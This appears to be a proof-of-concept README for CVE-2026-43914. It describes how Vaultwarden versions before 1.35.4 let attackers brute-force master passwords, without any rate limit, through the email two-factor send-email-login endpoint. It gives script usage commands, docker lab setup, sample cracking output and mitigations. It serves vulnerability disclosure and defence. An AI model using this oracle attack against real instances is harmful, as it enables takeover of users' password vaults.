CVE-2026-43914 的概念验证:当启用邮箱双因素认证(Email 2FA)时,Vaultwarden 的登录暴力破解防护可通过未认证的 POST /api/two-factor/send-email-login 端点被完全绕过,该端点充当无限制的主密码预言机。
受影响版本:Vaultwarden < 1.35.4
Vaultwarden 是最流行的自托管、兼容 Bitwarden 的密码管理器。管理员启用邮箱双因素认证,认为它可以阻止密码猜测——但该端点会先验证主密码哈希,并在任何速率限制或账户锁定生效之前,针对正确/错误猜测返回不同的 HTTP 状态码:
| 响应 | 含义 |
|---|---|
200 | 密码正确(已发送 OTP 邮件) |
400 "Username or password is incorrect" | 密码错误 |
知道(或猜到)受害者邮箱的攻击者可以全速暴力破解主密码,且不受任何限流约束。邮箱双因素认证无法阻止这一点。
在 src/api/core/two_factor/email.rs 中,send_email_login 处理器会检查密码并在不匹配时提前返回——但该路由未注册用于保护 /identity/connect/token 的暴力破解/限流中间件。每次调用:
check_valid_password(master_password_hash) →
不匹配时返回 err!("Username or password is incorrect")(HTTP 400),python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
仅需 Python 3 标准库。
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
创建一个测试用户(使用任意 Bitwarden 客户端或 API),启用邮箱双因素认证(设置 → 两步登录 → 邮箱),然后对其运行 PoC。
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
升级到 Vaultwarden 1.35.4+。在此之前:停用邮箱双因素认证,改用 TOTP/WebAuthn,并将实例置于反向代理之后,对 /api/two-factor/* 启用基于 IP 的速率限制。
仅限授权的安全研究与实验室使用。